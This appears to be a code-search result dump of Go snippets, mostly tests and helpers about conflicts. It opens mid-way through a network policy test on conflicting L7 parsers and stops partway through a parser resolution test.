new(bytes.Buffer)\n\tctxToA := SearchContext{To: labelsA, Trace: TRACE_VERBOSE}\n\tctxToA.Logging = stdlog.New(buffer, \"\", 0)\n\tc.Log(buffer)\n\n\tstate := traceState{}\n\tres, err := conflictingParsersRule.resolveIngressPolicy(testPolicyContext, &ctxToA, &state, L4PolicyMap{}, nil, nil)\n\tc.Assert(err, Not(IsNil))\n\tc.Assert(res, IsNil)\n\n\t// Case 5B: HTTP first, Kafka second.\n\tconflictingParsersRule = &rule{\n\t\tRule: api.Rule{\n\t\t\tEndpointSelector: endpointSelectorA,\n\t\t\tIngress: []api.IngressRule{\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: []api.EndpointSelector{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tHTTP: []api.PortRuleHTTP{\n\t\t\t\t\t\t\t\t{Method: \"GET\", Path: \"/\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: api.EndpointSelectorSlice{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tKafka: []kafka.PortRule{\n\t\t\t\t\t\t\t\t{Topic: \"foo\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t}}\n\n\tbuffer = new(bytes.Buffer)\n\tctxToA = SearchContext{To: labelsA, Trace: TRACE_VERBOSE}\n\tctxToA.Logging = stdlog.New(buffer, \"\", 0)\n\tc.Log(buffer)\n\n\tstate = traceState{}\n\tres, err = conflictingParsersRule.resolveIngressPolicy(testPolicyContext, &ctxToA, &state, L4PolicyMap{}, nil, nil)\n\tc.Assert(err, Not(IsNil))\n\tc.Assert(res, IsNil)\n\n\t// Case 5B+: HTTP first, generic L7 second.\n\tconflictingParsersIngressRule := &rule{\n\t\tRule: api.Rule{\n\t\t\tEndpointSelector: endpointSelectorA,\n\t\t\tIngress: []api.IngressRule{\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: []api.EndpointSelector{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tHTTP: []api.PortRuleHTTP{\n\t\t\t\t\t\t\t\t{Method: \"GET\", Path: \"/\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tIngressCommonRule: api.IngressCommonRule{\n\t\t\t\t\t\tFromEndpoints: api.EndpointSelectorSlice{api.WildcardEndpointSelector},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tL7Proto: \"testing\",\n\t\t\t\t\t\t\tL7: []api.PortRuleL7{\n\t\t\t\t\t\t\t\t{\"method\": \"PUT\", \"path\": \"/Foo\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t}}\n\n\tbuffer = new(bytes.Buffer)\n\tctxToA = SearchContext{To: labelsA, Trace: TRACE_VERBOSE}\n\tctxToA.Logging = stdlog.New(buffer, \"\", 0)\n\tc.Log(buffer)\n\n\terr = conflictingParsersIngressRule.Sanitize()\n\tc.Assert(err, IsNil)\n\n\tstate = traceState{}\n\tres, err = conflictingParsersIngressRule.resolveIngressPolicy(testPolicyContext, &ctxToA, &state, L4PolicyMap{}, nil, nil)\n\tc.Assert(err, Not(IsNil))\n\tc.Assert(res, IsNil)\n\n\t// Case 5B++: generic L7 without rules first, HTTP second.\n\tconflictingParsersEgressRule := &rule{\n\t\tRule: api.Rule{\n\t\t\tEndpointSelector: endpointSelectorA,\n\t\t\tEgress: []api.EgressRule{\n\t\t\t\t{\n\t\t\t\t\tEgressCommonRule: api.EgressCommonRule{\n\t\t\t\t\t\tToEndpoints: []api.EndpointSelector{endpointSelectorC},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tL7Proto: \"testing\",\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tEgressCommonRule: api.EgressCommonRule{\n\t\t\t\t\t\tToEndpoints: []api.EndpointSelector{endpointSelectorC},\n\t\t\t\t\t},\n\t\t\t\t\tToPorts: []api.PortRule{{\n\t\t\t\t\t\tPorts: []api.PortProtocol{\n\t\t\t\t\t\t\t{Port: \"80\", Protocol: api.ProtoTCP},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tRules: &api.L7Rules{\n\t\t\t\t\t\t\tHTTP: []api.PortRuleHTTP{\n\t\t\t\t\t\t\t\t{Method: \"GET\", Path: \"/\"},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t}},\n\t\t\t\t},\n\t\t\t},\n\t\t}}\n\n\tbuffer = new(bytes.Buffer)\n\tctxAToC := SearchContext{From: labelsA, To: labelsC, Trace: TRACE_VERBOSE}\n\tctxAToC.Logging = stdlog.New(buffer, \"\", 0)\n\tc.Log(buffer)\n\n\terr = conflictingParsersEgressRule.Sanitize()\n\tc.Assert(err, IsNil)\n\n\tstate = traceState{}\n\tres, err = conflictingParsersEgressRule.resolveEgressPolicy(testPolicyContext, &ctxAToC, &state, L4PolicyMap{}, nil, nil)\n\tc.Log(buffer)\n\tc.Assert(err, Not(IsNil))\n\tc.Assert(res, IsNil)\n}", "title": "" }, { "docid": "dae064ae710f3be8cbbc736d2901145d", "score": "0.47701472", "text": "func TestReadMeta_DifferentVersions(t *testing.T) {\n\tGenericTestReadMeta(t, true, 88, 89, 4)\n}", "title": "" }, { "docid": "dc76150a133ef560bc08e06f17725017", "score": "0.47600603", "text": "func TestCollectionStructuralValidatorWrongType(t *testing.T) {\n\tcollection := testResource(\"bs646cd8717.json\")\n\tvalidator := NewCollectionStructuralValidator(newMockRepository(collection))\n\tcol := testCollectionResource([]string{collection.ID()})\n\terr := validator.ValidateResource(col)\n\tassert.NotNil(t, err)\n}", "title": "" }, { "docid": "e58b033e3444b4fb146d36f908b1a7bf", "score": "0.4755569", "text": "func checkMixedProtocol(ports []v1.ServicePort) error {\n\tif len(ports) == 0 {\n\t\treturn nil\n\t}\n\n\tfirstProtocol := ports[0].Protocol\n\tfor _, port := range ports[1:] {\n\t\tif port.Protocol != firstProtocol {\n\t\t\treturn fmt.Errorf(\"mixed protocol is not supported for LoadBalancer\")\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "ecec349ce556424b097cff373fa1946f", "score": "0.4746755", "text": "func checkOnlyDesiredReferences(repository *git.Repository, desiredRefSet map[string]struct{}, t *testing.T) {\n\titer, _ := repository.References()\n\n\trefSet := map[string]struct{}{}\n\tif err := iter.ForEach(func(reference *plumbing.Reference) error {\n\t\tshortName := reference.Name().Short()\n\t\tif shortName != \"HEAD\" {\n\t\t\t// avoid duplicate like master and origin/master\n\t\t\tname := strings.Split(shortName, \"/\")\n\t\t\trefSet[name[len(name)-1]] = struct{}{}\n\t\t}\n\t\treturn nil\n\t}); err != nil {\n\t\tt.Fatalf(\"failed to iterate on references\")\n\t}\n\n\tif !reflect.DeepEqual(desiredRefSet, refSet) {\n\t\tt.Fatalf(\"repository does not contain expected references. expect %v got %v\", desiredRefSet, refSet)\n\t}\n}", "title": "" }, { "docid": "38204c467958d94c4cf670013b00e90c", "score": "0.47466084", "text": "func (ps *portSegment) isConflictWithPortSeg(isTCPUDPReuse bool, newPs portSegment) bool {\n\tif max(ps.Start, newPs.Start) < min(ps.End, newPs.End) {\n\t\tif isProtocolConflict(isTCPUDPReuse, ps.Protocols, newPs.Protocols) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "89844975850cdc1b856527339d200670", "score": "0.47242585", "text": "func Conflictf(format string, a ...interface{}) error {\n\treturn &errConflict{s: fmt.Sprintf(format, a...)}\n}", "title": "" }, { "docid": "389126625bf6bcdc4041efaa759cab4c", "score": "0.47186673", "text": "func (dv *datumVec) assertSameTypeFamily(t *types.T) {\n\tif dv.t.Family() != t.Family() {\n\t\tcolexecerror.InternalError(\n\t\t\terrors.AssertionFailedf(\"cannot use value of type %+v on a datumVec of type %+v\", t, dv.t),\n\t\t)\n\t}\n}", "title": "" }, { "docid": "5a9a6639c592655e22f9f3b7a5395b71", "score": "0.47186592", "text": "func (me TVersionType) Is141() bool { return me == \"1.4.1\" }", "title": "" }, { "docid": "f3abdd3c54949ec35b54ff6ca76345d7", "score": "0.47138178", "text": "func TestSchemaMerge(t *testing.T) {\n\tt.Run(\"column add/drop tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, columnAddDropTests)\n\t})\n\tt.Run(\"column default tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, columnDefaultTests)\n\t})\n\tt.Run(\"nullability tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, nullabilityTests)\n\t})\n\tt.Run(\"column type change tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, typeChangeTests)\n\t})\n\tt.Run(\"column reordering tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, columnReorderingTests)\n\t})\n\tt.Run(\"primary key change tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, keyChangeTests)\n\t})\n\tt.Run(\"secondary index tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, secondaryIndexTests)\n\t})\n\tt.Run(\"simple conflict tests\", func(t *testing.T) {\n\t\ttestSchemaMerge(t, simpleConflictTests)\n\t})\n}", "title": "" }, { "docid": "085ec88a11d03eadaa45905b63a125d7", "score": "0.47130755", "text": "func incompatibleAttributeType(validation, actual, expected string) {\n\tdslengine.ReportError(\"invalid %s validation definition: attribute must be %s (but type is %s)\",\n\t\tvalidation, expected, actual)\n}", "title": "" }, { "docid": "f6b681856035ff146b00e60dda5ebce7", "score": "0.47062045", "text": "func (h Handle) IsConflict() bool {\n\treturn h.ConflictInfo != nil\n}", "title": "" }, { "docid": "a805cdaef91595d97651e93ec66b9b81", "score": "0.47041366", "text": "func TestIsPodSpecWithoutBridgeUpdateLabelChanged(t *testing.T) {\n\tp1 := &pod.PodSpec{\n\t\tLabels: []*peloton.Label{\n\t\t\t{Key: \"k1\", Value: \"v1\"},\n\t\t\t{Key: \"k2\", Value: \"v2\"},\n\t\t},\n\t}\n\tp2 := &pod.PodSpec{\n\t\tLabels: []*peloton.Label{\n\t\t\t{Key: \"k2\", Value: \"v2\"},\n\t\t\t{Key: \"k1\", Value: \"v1\"},\n\t\t\t{Key: BridgeUpdateLabelKey, Value: \"123456\"},\n\t\t},\n\t}\n\tp3 := &pod.PodSpec{\n\t\tLabels: []*peloton.Label{\n\t\t\t{Key: BridgeUpdateLabelKey, Value: \"654321\"},\n\t\t\t{Key: \"k2\", Value: \"v2\"},\n\t\t\t{Key: \"k1\", Value: \"v1\"},\n\t\t},\n\t}\n\tp4 := &pod.PodSpec{\n\t\tLabels: []*peloton.Label{\n\t\t\t{Key: \"k2\", Value: \"v3\"},\n\t\t\t{Key: \"k1\", Value: \"v1\"},\n\t\t\t{Key: BridgeUpdateLabelKey, Value: \"123456\"},\n\t\t},\n\t}\n\n\tassert.False(t, IsPodSpecWithoutBridgeUpdateLabelChanged(p1, p2))\n\tassert.False(t, IsPodSpecWithoutBridgeUpdateLabelChanged(p1, p3))\n\tassert.False(t, IsPodSpecWithoutBridgeUpdateLabelChanged(p2, p3))\n\tassert.True(t, IsPodSpecWithoutBridgeUpdateLabelChanged(p1, p4))\n}", "title": "" }, { "docid": "cfb6e065d1334e7954d7255c442f0ba7", "score": "0.4702372", "text": "func (desc *immutable) IsCompatibleWith(other catalog.TypeDescriptor) error {\n\n\tswitch desc.Kind {\n\tcase descpb.TypeDescriptor_ENUM, descpb.TypeDescriptor_MULTIREGION_ENUM:\n\t\tif other.GetKind() != desc.Kind {\n\t\t\treturn errors.Newf(\"%q of type %q is not compatible with type %q\",\n\t\t\t\tother.GetName(), other.GetKind(), desc.Kind)\n\t\t}\n\t\t// Every enum value in desc must be present in other, and all of the\n\t\t// physical representations must be the same.\n\t\tfor _, thisMember := range desc.EnumMembers {\n\t\t\tfound := false\n\t\t\tfor i := 0; i < other.NumEnumMembers(); i++ {\n\t\t\t\tif thisMember.LogicalRepresentation == other.GetMemberLogicalRepresentation(i) {\n\t\t\t\t\t// We've found a match. Now the physical representations must be\n\t\t\t\t\t// the same, otherwise the enums are incompatible.\n\t\t\t\t\tif !bytes.Equal(thisMember.PhysicalRepresentation, other.GetMemberPhysicalRepresentation(i)) {\n\t\t\t\t\t\treturn errors.Newf(\n\t\t\t\t\t\t\t\"%q has differing physical representation for value %q\",\n\t\t\t\t\t\t\tother.GetName(),\n\t\t\t\t\t\t\tthisMember.LogicalRepresentation,\n\t\t\t\t\t\t)\n\t\t\t\t\t}\n\t\t\t\t\tfound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tif !found {\n\t\t\t\treturn errors.Newf(\n\t\t\t\t\t\"could not find enum value %q in %q\", thisMember.LogicalRepresentation, other.GetName())\n\t\t\t}\n\t\t}\n\t\treturn nil\n\tdefault:\n\t\treturn errors.Newf(\"compatibility comparison unsupported for type kind %s\", desc.Kind.String())\n\t}\n}", "title": "" }, { "docid": "f6d36b22b3b6e9d9f0a5aa3863e19954", "score": "0.47020605", "text": "func assertUniqueName(a, b KubeObject) error {\n\taMeta, bMeta := a.GetObjectMeta(), b.GetObjectMeta()\n\n\tif aMeta.GetName() == bMeta.GetName() && aMeta.GetNamespace() == bMeta.GetNamespace() {\n\t\treturn ErrorConflict\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "a41b664acc479487e529d5ca5c8aeacc", "score": "0.4691915", "text": "func MergeSpecsIgnorePathConflict(dest, source *spec.Swagger) error {\n\treturn mergeSpecs(dest, source, true, true)\n}", "title": "" }, { "docid": "ed6ebe441a420230f17383aa0b53c4bd", "score": "0.46917936", "text": "func (dg DepGraph) conflictingRepos(vm VersionMap) []string {\n\tbadRepoMap := map[string]struct{}{}\n\n\t// Create a reverse dependency graph.\n\trg := dg.Reverse()\n\n\tfor dependeeName, nodes := range rg {\n\t\tdependeeVer, ok := vm[dependeeName]\n\t\tif !ok {\n\t\t\t// This version was pruned from the matrix. It is unusable.\n\t\t\tbadRepoMap[dependeeName] = struct{}{}\n\t\t\tcontinue\n\t\t}\n\n\t\t// Dependee is the repo being depended on. We want to determine if it\n\t\t// can be included in the project without violating any dependency\n\t\t// requirements.\n\t\t//\n\t\t// For each repo that depends on dependee (i.e., for each dependent):\n\t\t// 1. Determine which of the dependent's requirements apply to the\n\t\t// dependee (e.g., if we are evaluating v2 of the dependent, then\n\t\t// v1's requirements do not apply).\n\t\t// 2. Check if the dependee satisfies all applicable requirements.\n\t\tfor _, node := range nodes {\n\t\t\tvar nodeApplies bool\n\t\t\tif node.Name == rootDependencyName {\n\t\t\t\t// project.yml requirements are always applicable.\n\t\t\t\tnodeApplies = true\n\t\t\t} else {\n\t\t\t\t// Repo dependency requirements only apply if they are\n\t\t\t\t// associated with the version of the dependent that we are\n\t\t\t\t// evaluating.\n\t\t\t\tdependentVer, ok := vm[node.Name]\n\t\t\t\tif ok {\n\t\t\t\t\tnodeApplies = newtutil.CompareRepoVersions(\n\t\t\t\t\t\tdependentVer, node.Ver) == 0\n\t\t\t\t}\n\t\t\t}\n\t\t\tif nodeApplies {\n\t\t\t\tif !dependeeVer.SatisfiesAll(node.VerReqs) {\n\t\t\t\t\tbadRepoMap[dependeeName] = struct{}{}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tbadRepoSlice := make([]string, 0, len(badRepoMap))\n\tfor repoName, _ := range badRepoMap {\n\t\tbadRepoSlice = append(badRepoSlice, repoName)\n\t}\n\tsort.Strings(badRepoSlice)\n\n\treturn badRepoSlice\n}", "title": "" }, { "docid": "82dbbdaaccddb5907db0ac18f2dc0868", "score": "0.46849555", "text": "func ensureSameProtocol(peers []string) (string, error) {\n\tlastProtocol, _ := parsePeer(peers[0])\n\tfor _, hp := range peers[1:] {\n\t\tif p, _ := parsePeer(hp); lastProtocol != p {\n\t\t\treturn \"\", fmt.Errorf(\"found mixed protocols, expected all to be %v, got %v\", lastProtocol, p)\n\t\t}\n\t}\n\treturn lastProtocol, nil\n}", "title": "" }, { "docid": "4e29c442ebc02cda41d2e031118da7c5", "score": "0.46839646", "text": "func TestMerge(t *testing.T) {\n\tfor _, tst := range []struct {\n\t\tname string\n\t\tmain []Rule\n\t\tmerge []Rule\n\t\twant []Rule\n\t}{\n\t\t{\n\t\t\tname: \"empty both\",\n\t\t\tmain: nil,\n\t\t\tmerge: nil,\n\t\t\twant: []Rule{{}, {}},\n\t\t},\n\t\t{\n\t\t\tname: \"empty main\",\n\t\t\tmain: nil,\n\t\t\tmerge: []Rule{{}},\n\t\t\twant: []Rule{{}, {}},\n\t\t},\n\t\t{\n\t\t\tname: \"empty merge\",\n\t\t\tmain: []Rule{{}},\n\t\t\tmerge: nil,\n\t\t\twant: []Rule{{}, {}},\n\t\t},\n\t} {\n\t\tt.Run(tst.name, func(t *testing.T) {\n\t\t\tmainRules := SyscallRules{1: tst.main}\n\t\t\tmergeRules := SyscallRules{1: tst.merge}\n\t\t\tmainRules.Merge(mergeRules)\n\t\t\tif got, want := len(mainRules[1]), len(tst.want); got != want {\n\t\t\t\tt.Errorf(\"wrong length, got: %d, want: %d\", got, want)\n\t\t\t}\n\t\t\tfor i, r := range mainRules[1] {\n\t\t\t\tif r != tst.want[i] {\n\t\t\t\t\tt.Errorf(\"result, got: %v, want: %v\", r, tst.want[i])\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}", "title": "" }, { "docid": "1ee6f9e065e02043a9527b420cda5b6f", "score": "0.46809888", "text": "func (m *mountHint) checkCompatible(mount specs.Mount) error {\n\t// Remove options that don't affect to mount's behavior.\n\tmasterOpts := filterUnsupportedOptions(m.mount)\n\tslaveOpts := filterUnsupportedOptions(mount)\n\n\tif len(masterOpts) != len(slaveOpts) {\n\t\treturn fmt.Errorf(\"mount options in annotations differ from container mount, annotation: %s, mount: %s\", masterOpts, slaveOpts)\n\t}\n\n\tsort.Strings(masterOpts)\n\tsort.Strings(slaveOpts)\n\tfor i, opt := range masterOpts {\n\t\tif opt != slaveOpts[i] {\n\t\t\treturn fmt.Errorf(\"mount options in annotations differ from container mount, annotation: %s, mount: %s\", masterOpts, slaveOpts)\n\t\t}\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "fc1b8bac9139ae10f85e23dfd816db10", "score": "0.46773311", "text": "func fWithInorrectTypeFromCall() error {\n\treturn b.F() // want \"error not from our pkg: b\"\n}", "title": "" }, { "docid": "75adac31902a02878842f8ef9428a4de", "score": "0.4667633", "text": "func Conflict(w http.ResponseWriter, r *http.Request, err error) {\n\trender.Render(w, r, NewErrorResponse(http.StatusConflict, err))\n}", "title": "" }, { "docid": "75adac31902a02878842f8ef9428a4de", "score": "0.4667633", "text": "func Conflict(w http.ResponseWriter, r *http.Request, err error) {\n\trender.Render(w, r, NewErrorResponse(http.StatusConflict, err))\n}", "title": "" }, { "docid": "e2cda72f9026be1e7527375b99f87321", "score": "0.4664187", "text": "func (h *Header) BusConflict() bool {\n\treturn (h.Flag10 & 0x20) != 0\n}", "title": "" }, { "docid": "76c0e3b34837452776cb7bfd2fe18436", "score": "0.46573547", "text": "func testClientAuthenticationClusterTypesAreSynced(t *testing.T, cluster interface{}) {\n\texecType := reflect.TypeOf(cluster)\n\tclientcmdType := reflect.TypeOf(clientcmdv1.Cluster{})\n\n\tt.Run(\"exec cluster fields match clientcmd cluster fields\", func(t *testing.T) {\n\t\tt.Parallel()\n\n\t\t// These are fields that are specific to Cluster and shouldn't be in clientcmdv1.Cluster.\n\t\texecSkippedFieldNames := sets.NewString(\n\t\t\t// Cluster uses Config to provide its cluster-specific configuration object.\n\t\t\t\"Config\",\n\t\t)\n\n\t\tfor i := 0; i < execType.NumField(); i++ {\n\t\t\texecField := execType.Field(i)\n\t\t\tif execSkippedFieldNames.Has(execField.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tt.Run(execField.Name, func(t *testing.T) {\n\t\t\t\tt.Parallel()\n\t\t\t\tclientcmdField, ok := clientcmdType.FieldByName(execField.Name)\n\t\t\t\tif !ok {\n\t\t\t\t\tt.Errorf(\"unknown field (please add field to clientcmdv1.Cluster): '%s'\", execField.Name)\n\t\t\t\t} else if execField.Type != clientcmdField.Type {\n\t\t\t\t\tt.Errorf(\n\t\t\t\t\t\t\"type mismatch (please update Cluster.%s field type to match clientcmdv1.Cluster.%s field type): %q != %q\",\n\t\t\t\t\t\texecField.Name,\n\t\t\t\t\t\tclientcmdField.Name,\n\t\t\t\t\t\texecField.Type,\n\t\t\t\t\t\tclientcmdField.Type,\n\t\t\t\t\t)\n\t\t\t\t} else if execField.Tag != clientcmdField.Tag {\n\t\t\t\t\tt.Errorf(\n\t\t\t\t\t\t\"tag mismatch (please update Cluster.%s tag to match clientcmdv1.Cluster.%s tag): %q != %q\",\n\t\t\t\t\t\texecField.Name,\n\t\t\t\t\t\tclientcmdField.Name,\n\t\t\t\t\t\texecField.Tag,\n\t\t\t\t\t\tclientcmdField.Tag,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n\n\tt.Run(\"clientcmd cluster fields match exec cluster fields\", func(t *testing.T) {\n\t\tt.Parallel()\n\n\t\t// These are the fields that we don't want to shadow from clientcmdv1.Cluster.\n\t\tclientcmdSkippedFieldNames := sets.NewString(\n\t\t\t// CA data will be passed via CertificateAuthorityData, so we don't need this field.\n\t\t\t\"CertificateAuthority\",\n\t\t\t// Cluster uses Config to provide its cluster-specific configuration object.\n\t\t\t\"Extensions\",\n\t\t)\n\n\t\tfor i := 0; i < clientcmdType.NumField(); i++ {\n\t\t\tclientcmdField := clientcmdType.Field(i)\n\t\t\tif clientcmdSkippedFieldNames.Has(clientcmdField.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tt.Run(clientcmdField.Name, func(t *testing.T) {\n\t\t\t\tt.Parallel()\n\t\t\t\texecField, ok := execType.FieldByName(clientcmdField.Name)\n\t\t\t\tif !ok {\n\t\t\t\t\tt.Errorf(\"unknown field (please add field to Cluster): '%s'\", clientcmdField.Name)\n\t\t\t\t} else if clientcmdField.Type != execField.Type {\n\t\t\t\t\tt.Errorf(\n\t\t\t\t\t\t\"type mismatch (please update clientcmdv1.Cluster.%s field type to match Cluster.%s field type): %q != %q\",\n\t\t\t\t\t\tclientcmdField.Name,\n\t\t\t\t\t\texecField.Name,\n\t\t\t\t\t\tclientcmdField.Type,\n\t\t\t\t\t\texecField.Type,\n\t\t\t\t\t)\n\t\t\t\t} else if clientcmdField.Tag != execField.Tag {\n\t\t\t\t\tt.Errorf(\n\t\t\t\t\t\t\"tag mismatch (please update clientcmdv1.Cluster.%s tag to match Cluster.%s tag): %q != %q\",\n\t\t\t\t\t\tclientcmdField.Name,\n\t\t\t\t\t\texecField.Name,\n\t\t\t\t\t\tclientcmdField.Tag,\n\t\t\t\t\t\texecField.Tag,\n\t\t\t\t\t)\n\t\t\t\t}\n\t\t\t})\n\t\t}\n\t})\n}", "title": "" }, { "docid": "2578d1b81560056d774bafb63ae8d966", "score": "0.46486986", "text": "func isBadVersion(version int) bool{return true}", "title": "" }, { "docid": "d2b5396b148893a3e8064b9e53a6fdb5", "score": "0.46480694", "text": "func TestHideCause(t *testing.T) {\n\ttt := testutils.T{T: t}\n\n\torigErr := errors.New(\"hello\")\n\terr1 := errors.Wrap(origErr, \"world\")\n\n\t// Assertion: without barriers, the cause can be identified.\n\ttt.Assert(markers.Is(err1, origErr))\n\n\t// This test: a barrier hides the cause.\n\terr := barriers.Handled(err1)\n\ttt.Check(!markers.Is(err, origErr))\n}", "title": "" }, { "docid": "5f0ad0825e731184f6f35b7d87d5452c", "score": "0.46396273", "text": "func TestReadIsBackwardsCompatible_Primitives(t *testing.T) {\n\tfoo := (&types.OnlyPrimitivesV1Builder{\n\t\tA: 42,\n\t\tB: 17,\n\t}).Build()\n\tfoo2 := types.OnlyPrimitivesV2Reader(foo.Raw())\n\n\tif foo2.A() != foo.A() || foo2.B() != foo.B() || foo2.C() != 0 {\n\t\treject(t, foo, foo2)\n\t}\n}", "title": "" }, { "docid": "2bca1287478e38794945b4b9aa655acb", "score": "0.46383306", "text": "func Conflict(message string) *Detonation {\n\tvar d = new(Detonation)\n\n\td.Code = 409\n\td.Error = \"Conflict\"\n\td.Message = message\n\n\treturn d\n}", "title": "" }, { "docid": "2be5e6343c027f0d4582cbd0526d93ee", "score": "0.46321216", "text": "func TestDetermineTask(t *testing.T) {\n\tnumbersRequestBody := map[string]interface{}{\"a1\": 3, \"a2\": 4}\n\tstringRequestBody := map[string]interface{}{\"a1\": \"a\", \"a2\": \"b\"}\n\tinvalidRequestBody := map[string]interface{}{}\n\n\tjsonifiedNumbersRequestBodyString, _ := json.Marshal(numbersRequestBody)\n\tjsonifiedStringRequestBodyString, _ := json.Marshal(stringRequestBody)\n\tjsonifiedInvalidRequestBodyString, _ := json.Marshal(invalidRequestBody)\n\n\tnumbersTaskType := determineTask(numbersRequestBody)\n\tstringTaskType := determineTask(stringRequestBody)\n\tinvalidTaskType := determineTask(invalidRequestBody)\n\n\tstringifiedNumbersType := fmt.Sprintf(\"%v\", numbersTaskType)\n\tstringifiedStringType := fmt.Sprintf(\"%v\", stringTaskType)\n\tstringifiedEmptyType := fmt.Sprintf(\"%v\", invalidTaskType)\n\n\tstringifiedExpectedNumberType := fmt.Sprintf(\"%v\", interfaces.NUMBER)\n\tstringifiedExpectedStringType := fmt.Sprintf(\"%v\", interfaces.STRING)\n\n\tt.Logf(\"\\tGiven requestBody = %v\", string(jsonifiedNumbersRequestBodyString))\n\n\tt.Logf(\"\\t\\tTest: \\tExpected interfaces.TaskType = %v\\n\", stringifiedExpectedNumberType)\n\tif numbersTaskType == interfaces.NUMBER {\n\t\tt.Logf(\"\\t\\t%v Got : %v\", succeedIcon, stringifiedNumbersType)\n\t} else {\n\t\tt.Errorf(\"\\t\\t%v Got : %v\", failIcon, stringifiedNumbersType)\n\t}\n\n\tt.Logf(\"\\tGiven requestBody = %v\", string(jsonifiedStringRequestBodyString))\n\n\tt.Logf(\"\\t\\tTest: \\tExpected interfaces.TaskType = %v\\n\", stringifiedExpectedStringType)\n\tif stringTaskType == interfaces.STRING {\n\t\tt.Logf(\"\\t\\t%v Got : %v\", succeedIcon, stringifiedStringType)\n\t} else {\n\t\tt.Errorf(\"\\t\\t%v Got : %v\", failIcon, stringifiedStringType)\n\t}\n\n\tt.Logf(\"\\tGiven invalid requestBody = %v\", string(jsonifiedInvalidRequestBodyString))\n\n\tt.Log(\"\\t\\tTest: \\tExpected nothing\")\n\tif stringifiedEmptyType == \"\" {\n\t\tt.Logf(\"\\t\\t%v Got : nothing\", succeedIcon)\n\t} else {\n\t\tt.Errorf(\"\\t\\t%v Got : %v\", failIcon, stringifiedEmptyType)\n\t}\n}", "title": "" }, { "docid": "d76cdf9a875bbad19b0d2b5331d69884", "score": "0.46293133", "text": "func (e BundleNotFound) IsBundleNotFound() {}", "title": "" }, { "docid": "bc83879d05199106f11cffaa95d8fe7c", "score": "0.4627938", "text": "func TestResolution(t *testing.T) {\n\tdir := filepath.Join(\"testdata\", \"resolution\")\n\tfis, err := os.ReadDir(dir)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor _, fi := range fis {\n\t\tt.Run(fi.Name(), func(t *testing.T) {\n\t\t\tfset := token.NewFileSet()\n\t\t\tpath := filepath.Join(dir, fi.Name())\n\t\t\tsrc := readFile(path) // panics on failure\n\t\t\tvar mode Mode\n\t\t\tif !strings.HasSuffix(path, \".go2\") {\n\t\t\t\tmode |= typeparams.DisallowParsing\n\t\t\t}\n\t\t\tfile, err := ParseFile(fset, path, src, mode)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatal(err)\n\t\t\t}\n\n\t\t\t// Compare the positions of objects resolved during parsing 